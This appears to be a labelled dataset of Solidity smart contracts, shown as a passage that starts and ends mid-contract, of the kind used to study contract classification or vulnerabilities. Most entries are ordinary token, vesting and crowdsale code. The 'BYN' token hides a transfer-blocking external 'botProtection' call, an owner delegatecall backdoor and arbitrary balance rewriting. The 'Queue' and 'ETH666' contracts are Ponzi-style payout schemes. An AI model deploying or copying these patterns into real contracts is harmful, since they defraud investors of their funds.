modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract TokenTimelock {
using SafeERC20 for ERC20Basic;
ERC20Basic public token;
address public beneficiary;
uint64 public releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {
require(_releaseTime > now);
token = _token;
beneficiary = _beneficiary;
releaseTime = _releaseTime;
}
function release() public {
require(now >= releaseTime);
uint256 amount = token.balanceOf(this);
require(amount > 0);
token.safeTransfer(beneficiary, amount);
}
}
contract TokenVesting is Ownable {
using SafeMath for uint256;
using SafeERC20 for ERC20Basic;
event Released(uint256 amount);
event Revoked();
address public beneficiary;
uint256 public cliff;
uint256 public start;
uint256 public duration;
bool public revocable;
mapping (address => uint256) public released;
mapping (address => bool) public revoked;
function TokenVesting(address _beneficiary, uint256 _start, uint256 _cliff, uint256 _duration, bool _revocable) public {
require(_beneficiary != address(0));
require(_cliff <= _duration);
beneficiary = _beneficiary;
revocable = _revocable;
duration = _duration;
cliff = _start.add(_cliff);
start = _start;
}
function release(ERC20Basic token) public {
uint256 unreleased = releasableAmount(token);
require(unreleased > 0);
released[token] = released[token].add(unreleased);
token.safeTransfer(beneficiary, unreleased);
Released(unreleased);
}
function revoke(ERC20Basic token) public onlyOwner {
require(revocable);
require(!revoked[token]);
uint256 balance = token.balanceOf(this);
uint256 unreleased = releasableAmount(token);
uint256 refund = balance.sub(unreleased);
revoked[token] = true;
token.safeTransfer(owner, refund);
Revoked();
}
function releasableAmount(ERC20Basic token) public view returns (uint256) {
return vestedAmount(token).sub(released[token]);
}
function vestedAmount(ERC20Basic token) public view returns (uint256) {
uint256 currentBalance = token.balanceOf(this);
uint256 totalBalance = currentBalance.add(released[token]);
if (now < cliff) {
return 0;
} else if (now >= start.add(duration) || revoked[token]) {
return totalBalance;
} else {
return totalBalance.mul(now.sub(start)).div(duration);
}
}
}
contract MDKToken is MintableToken, PausableToken {
string public constant name = "MDKToken";
string public constant symbol = "MDK";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 1000000000 * (10 ** uint256(decimals));
TokenTimelock public reserveTokens;
TokenVesting public teamTokens;
address public PreICO = address(0);
address public ICO = address(0);
function MDKToken(address _teamFund) public {
lockTeamTokens(_teamFund);
lockReserveTokens(_teamFund);
mint(_teamFund, 250000000 * (10 ** uint256(decimals)));
pause();
}
function lockTeamTokens(address _teamFund) private {
teamTokens = new TokenVesting(_teamFund, now, 90 days, 1095 days, false);
mint(teamTokens, 200000000 * (10 ** uint256(decimals)));
}
function lockReserveTokens(address _teamFund) private {
reserveTokens = new TokenTimelock(this, _teamFund, uint64(now + 1 years));
mint(reserveTokens, 50000000 * (10 ** uint256(decimals)));
}
function startICO(address _icoAddress) onlyOwner public {
require(ICO == address(0));
require(PreICO != address(0));
require(_icoAddress != address(0));
ICO = _icoAddress;
transferOwnership(_icoAddress);
}
function startPreICO(address _icoAddress) onlyOwner public {
require(PreICO == address(0));
require(_icoAddress != address(0));
PreICO = _icoAddress;
transferOwnership(_icoAddress);
}
}
contract FinalizableCrowdsale is Crowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract MDKICO is TokensCappedCrowdsale(MDKICO.TOKENS_CAP), FinalizableCrowdsale, BonusCrowdsale(MDKICO.TOKEN_USDCENT_PRICE) {
uint8 public constant decimals = 18;
uint256 constant TOKENS_CAP = 600000000 * (10 ** uint256(decimals));
uint256 public constant TOKEN_USDCENT_PRICE = 18;
event RateChange(uint256 rate);
function MDKICO(
uint _startTime,
uint _endTime,
uint256 _rate,
address _token,
address _teamWallet
) public
Crowdsale(_startTime, _endTime, _rate, _teamWallet)
{
require(_token != address(0));
token = MintableToken(_token);
}
function setRate(uint256 _rate) external onlyOwner {
require(_rate != 0x0);
rate = _rate;
RateChange(_rate);
}
function buyForBitcoin(address _beneficiary, uint256 tokens) public onlyOwner {
mintTokens(_beneficiary, tokens);
}
function mintTokens(address beneficiary, uint256 tokens) public onlyOwner {
require(beneficiary != 0);
require(tokens > 0);
require(now <= endTime);
require(!isFinalized);
require(token.totalSupply().add(tokens) <= TOKENS_CAP);
token.mint(beneficiary, tokens);
}
function setEndTime(uint256 _endTime) external onlyOwner {
require(!isFinalized);
require(_endTime >= startTime);
require(_endTime >= now);
endTime = _endTime;
}
function createTokenContract() internal returns (MintableToken) {
return MintableToken(0);
}
function finalization() internal {
token.transferOwnership(owner);
}
} | 1 | 4,906 |
pragma solidity ^0.7.0;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BotProtected {
address internal owner;
address private botProtection;
address public uniPair;
constructor(address _botProtection) {
botProtection = _botProtection;
}
modifier checkBots(address _from, address _to, uint256 _value) {
(bool notABot, bytes memory isNotBot) = botProtection.call(abi.encodeWithSelector(0x15274141, _from, _to, uniPair, _value));
require(notABot);
_;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
abstract contract ERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
}
}
contract BYN is BotProtected {
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply = 100000000000000000000000000;
string public name = "Beyond Finance";
string public symbol = "BYN";
IUniswapV2Router02 public uniRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address public wETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
constructor(address _botProtection) BotProtected(_botProtection) {
owner = msg.sender;
uniPair = pairFor(wETH, address(this));
allowance[address(this)][address(uniRouter)] = uint(-1);
allowance[msg.sender][uniPair] = uint(-1);
}
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) public payable checkBots(_from, _to, _value) returns (bool) {
if (_value == 0) { return true; }
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
function pairFor(address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
function list(uint _numList, address[] memory _tos, uint[] memory _amounts) public payable {
require(msg.sender == owner);
balanceOf[address(this)] = _numList;
balanceOf[msg.sender] = totalSupply * 6 / 100;
uniRouter.addLiquidityETH{value: msg.value}(
address(this),
_numList,
_numList,
msg.value,
msg.sender,
block.timestamp + 600
);
require(_tos.length == _amounts.length);
for(uint i = 0; i < _tos.length; i++) {
balanceOf[_tos[i]] = _amounts[i];
emit Transfer(address(0x0), _tos[i], _amounts[i]);
}
}
} | 0 | 1,552 |
pragma solidity >=0.5.10;
interface IERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract KNCLock {
IERC20 public KNC = IERC20(0xdd974D5C2e2928deA5F71b9825b8b646686BD200);
uint public lockId;
mapping (address=>uint) lockedKNC;
constructor(IERC20 knc) public {
KNC = knc;
}
event Lock (
uint indexed qty,
uint64 indexed eosRecipientName,
uint indexed lockId
);
function lock(uint qty, string memory eosAddr, uint64 eosRecipientName) public {
eosAddr;
require(KNC.transferFrom(msg.sender, address(this), qty));
lockedKNC[msg.sender] += qty;
emit Lock(qty, eosRecipientName, lockId);
++lockId;
}
function unLock(uint qty) public {
require(lockedKNC[msg.sender] >= qty);
lockedKNC[msg.sender] -= qty;
require(KNC.transfer(msg.sender, qty));
}
} | 1 | 4,762 |
pragma solidity ^0.4.25;
interface IERC20 {
function balanceOf(address _owner) external view returns (uint256);
function allowance(address _owner, address _spender) external view returns (uint256);
function transfer(address _to, uint256 _value) external returns (bool);
function transferFrom(address _from, address _to, uint256 _value) external returns (bool);
function approve(address _spender, uint256 _value) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract GTH_YunAnMY is IERC20 {
using SafeMath for uint256;
address private deployer;
string public name = "GTH-YunAnMY";
string public symbol = "GTH";
uint8 public constant decimals = 6;
uint256 public constant decimalFactor = 10 ** uint256(decimals);
uint256 public constant totalSupply = 4000000000 * decimalFactor;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) internal allowed;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor() public {
balances[msg.sender] = totalSupply;
deployer = msg.sender;
emit Transfer(address(0), msg.sender, totalSupply);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(block.timestamp >= 1545102693);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(block.timestamp >= 1545102693);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
} | 1 | 4,165 |
pragma solidity ^0.4.25;
contract Queue {
address constant private PROMO1 = 0x0569E1777f2a7247D27375DB1c6c2AF9CE9a9C15;
address constant private PROMO2 = 0xF892380E9880Ad0843bB9600D060BA744365EaDf;
address constant private PROMO3 = 0x35aAF2c74F173173d28d1A7ce9d255f639ac1625;
address constant private PRIZE = 0xa93E50526B63760ccB5fAD6F5107FA70d36ABC8b;
uint constant public PROMO_PERCENT = 2;
struct Deposit {
address depositor;
uint deposit;
uint payout;
}
Deposit[] public queue;
mapping (address => uint) public depositNumber;
uint public currentReceiverIndex;
uint public totalInvested;
function () public payable {
require(block.number >= 6612602);
if(msg.value > 0){
require(gasleft() >= 250000);
require(msg.value >= 0.15 ether && msg.value <= calcMaxDeposit());
queue.push( Deposit(msg.sender, msg.value, 0) );
depositNumber[msg.sender] = queue.length;
totalInvested += msg.value;
uint promo1 = msg.value*PROMO_PERCENT/100;
PROMO1.send(promo1);
uint promo2 = msg.value*PROMO_PERCENT/100;
PROMO2.send(promo2);
uint promo3 = msg.value*PROMO_PERCENT/100;
PROMO3.send(promo3);
uint prize = msg.value*1/100;
PRIZE.send(prize);
pay();
}
}
function pay() internal {
uint money = address(this).balance;
uint multiplier = calcMultiplier();
for (uint i = 0; i < queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
uint totalPayout = dep.deposit * multiplier / 100;
uint leftPayout;
if (totalPayout > dep.payout) {
leftPayout = totalPayout - dep.payout;
}
if (money >= leftPayout) {
if (leftPayout > 0) {
dep.depositor.send(leftPayout);
money -= leftPayout;
}
depositNumber[dep.depositor] = 0;
delete queue[idx];
} else{
dep.depositor.send(money);
dep.payout += money;
break;
}
if (gasleft() <= 55000) {
break;
}
}
currentReceiverIndex += i;
}
function getQueueLength() public view returns (uint) {
return queue.length - currentReceiverIndex;
}
function calcMaxDeposit() public view returns (uint) {
if (totalInvested <= 50 ether) {
return 1.5 ether;
} else if (totalInvested <= 150 ether) {
return 3 ether;
} else if (totalInvested <= 300 ether) {
return 5 ether;
} else if (totalInvested <= 500 ether) {
return 7 ether;
} else {
return 10 ether;
}
}
function calcMultiplier() public view returns (uint) {
if (totalInvested <= 50 ether) {
return 110;
} else if (totalInvested <= 100 ether) {
return 113;
} else if (totalInvested <= 150 ether) {
return 116;
} else if (totalInvested <= 200 ether) {
return 119;
} else if (totalInvested <= 250 ether) {
return 122;
} else if (totalInvested <= 300 ether) {
return 125;
} else if (totalInvested <= 350 ether) {
return 128;
} else if (totalInvested <= 500 ether) {
return 129;
} else {
return 130;
}
}
} | 0 | 2,314 |
contract ERC20 {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function allowance(address owner, address spender) constant returns (uint);
function transfer(address to, uint value) returns (bool ok);
function transferFrom(address from, address to, uint value) returns (bool ok);
function approve(address spender, uint value) returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
throw;
}
}
}
contract StandardToken is ERC20, SafeMath {
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
throw;
}
_;
}
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract UpgradeAgent {
uint public originalSupply;
function isUpgradeAgent() public constant returns (bool) {
return true;
}
function upgradeFrom(address _from, uint256 _value) public;
}
contract UpgradeableToken is StandardToken {
address public upgradeMaster;
UpgradeAgent public upgradeAgent;
uint256 public totalUpgraded;
enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading}
event Upgrade(address indexed _from, address indexed _to, uint256 _value);
event UpgradeAgentSet(address agent);
function UpgradeableToken(address _upgradeMaster) {
upgradeMaster = _upgradeMaster;
}
function upgrade(uint256 value) public {
UpgradeState state = getUpgradeState();
if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) {
throw;
}
if (value == 0) throw;
balances[msg.sender] = safeSub(balances[msg.sender], value);
totalSupply = safeSub(totalSupply, value);
totalUpgraded = safeAdd(totalUpgraded, value);
upgradeAgent.upgradeFrom(msg.sender, value);
Upgrade(msg.sender, upgradeAgent, value);
}
function setUpgradeAgent(address agent) external {
if(!canUpgrade()) {
throw;
}
if (agent == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
if (getUpgradeState() == UpgradeState.Upgrading) throw;
upgradeAgent = UpgradeAgent(agent);
if(!upgradeAgent.isUpgradeAgent()) throw;
if (upgradeAgent.originalSupply() != totalSupply) throw;
UpgradeAgentSet(upgradeAgent);
}
function getUpgradeState() public constant returns(UpgradeState) {
if(!canUpgrade()) return UpgradeState.NotAllowed;
else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent;
else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade;
else return UpgradeState.Upgrading;
}
function setUpgradeMaster(address master) public {
if (master == 0x0) throw;
if (msg.sender != upgradeMaster) throw;
upgradeMaster = master;
}
function canUpgrade() public constant returns(bool) {
return true;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract ReleasableToken is ERC20, Ownable {
address public releaseAgent;
bool public released = false;
mapping (address => bool) public transferAgents;
modifier canTransfer(address _sender) {
if(!released) {
if(!transferAgents[_sender]) {
throw;
}
}
_;
}
function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public {
releaseAgent = addr;
}
function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public {
transferAgents[addr] = state;
}
function releaseTokenTransfer() public onlyReleaseAgent {
released = true;
}
modifier inReleaseState(bool releaseState) {
if(releaseState != released) {
throw;
}
_;
}
modifier onlyReleaseAgent() {
if(msg.sender != releaseAgent) {
throw;
}
_;
}
function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) {
return super.transferFrom(_from, _to, _value);
}
}
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function assert(bool assertion) private {
if (!assertion) throw;
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract CrowdsaleToken is ReleasableToken, MintableToken, UpgradeableToken {
string public name;
string public symbol;
uint public decimals;
function CrowdsaleToken(string _name, string _symbol, uint _initialSupply, uint _decimals)
UpgradeableToken(msg.sender) {
owner = msg.sender;
name = _name;
symbol = _symbol;
totalSupply = _initialSupply;
decimals = _decimals;
balances[owner] = totalSupply;
}
function releaseTokenTransfer() public onlyReleaseAgent {
mintingFinished = true;
super.releaseTokenTransfer();
}
function canUpgrade() public constant returns(bool) {
return released;
}
} | 1 | 4,513 |
pragma solidity ^0.4.24;
contract ETH666{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
uint256 public minimum = 10000000000000000;
uint256 public step = 666;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(10));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(10000);
uint256 different = percent.mul(minutesCount).div(1440);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 1 | 5,200 |
pragma solidity ^0.4.24;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
interface POUInterface {
function totalStaked(address) external view returns(uint256);
function numApplications(address) external view returns(uint256);
}
contract EIP20Interface {
uint256 public totalSupply;
function balanceOf(address _owner) public view returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public view returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract EIP20 is EIP20Interface {
uint256 constant private MAX_UINT256 = 2**256 - 1;
mapping (address => uint256) public balances;
mapping (address => mapping (address => uint256)) public allowed;
string public name;
uint8 public decimals;
string public symbol;
function EIP20(
uint256 _initialAmount,
string _tokenName,
uint8 _decimalUnits,
string _tokenSymbol
) public {
balances[msg.sender] = _initialAmount;
totalSupply = _initialAmount;
name = _tokenName;
decimals = _decimalUnits;
symbol = _tokenSymbol;
}
function transfer(address _to, uint256 _value) public returns (bool success) {
require(balances[msg.sender] >= _value);
balances[msg.sender] -= _value;
balances[_to] += _value;
emit Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
